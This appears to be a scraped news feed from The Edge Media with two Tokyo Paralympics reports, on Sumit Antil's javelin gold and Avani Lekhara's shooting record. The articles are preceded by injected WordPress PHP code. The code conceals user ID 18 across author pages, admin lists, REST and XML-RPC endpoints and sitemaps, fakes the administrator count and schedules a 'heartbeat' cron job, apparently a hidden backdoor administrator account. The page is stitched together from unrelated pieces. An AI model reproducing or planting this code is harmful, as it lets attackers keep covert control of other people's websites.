add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Sumit Antil wins gold in men’s javelin (F64): Tokyo Paralympics appeared first on The Edge Media.
]]>Australia’s Michal Burian won the silver medal, with a best attempt of 66.29m, while Sri Lanka’s Dulan Kodithuwakku took home the bronze medal.
Antil lay down the marker with his very first throw, which put him in the lead and also broke the existing world record in the category – also set by him.
He then set the world record again with his second attempt of 68.08m.
His third and fourth attempts were 65.27 and 66.71 respectively, but he seemed to have already sealed the gold medal, with none of his competitors really threatening his position.
Then, in the fifth attempt, he threw 68.55m to create the world record for the third time in the day and ensure India’s second gold medal at the ongoing Tokyo Paralympics.
The post Sumit Antil wins gold in men’s javelin (F64): Tokyo Paralympics appeared first on The Edge Media.
]]>The post Avani Lekhara creates a new Paralympic record appeared first on The Edge Media.
]]>The 19-year-old from Jaipur, who sustained spinal cord injuries in a car accident in 2012, finished with a world record equalling total of 249.6, which is also a new Paralympic record.
She is only the fourth Indian athlete to win a Paralympics gold after swimmer Murlikant Petkar (1972), javelin thrower Devendra Jhajharia (2004 and 2016) and high jumper Mariyappan Thangavelu (2016).
“I can’t describe this feeling, I’m feeling like I’m on top of the world. It’s unexplainable,” an elated Lekhara said.
Hers is also the first shooting medal that India has logged in the showpiece.
“I’m so happy I could be the one to contribute it. Hopefully there’s a lot of medals more to come,” Lekhara said.
Lekhara edged out 2016 Rio Games gold-medallist Cuiping Zhangh of China who clinched the silver medal with a total of 248.9 at the Asaka Shooting Range.
World number one and reigning world champion Iryna Shchetnik of Ukraine took home the bronze with an effort of 227.5.
She will also be competing in the mixed 10m Air Rifle Prone SH1, the women’s 50m Rifle 3 Positions SH1 and the mixed 50m Rifle Prone event.
In the SH1 Rifle category, shooters are able to hold a gun with arms.
The athletes have an impairment in their legs, for example amputations or paraplegia.
Some athletes will compete in a seated position, while others will compete in a standing position.
The post Avani Lekhara creates a new Paralympic record appeared first on The Edge Media.
]]>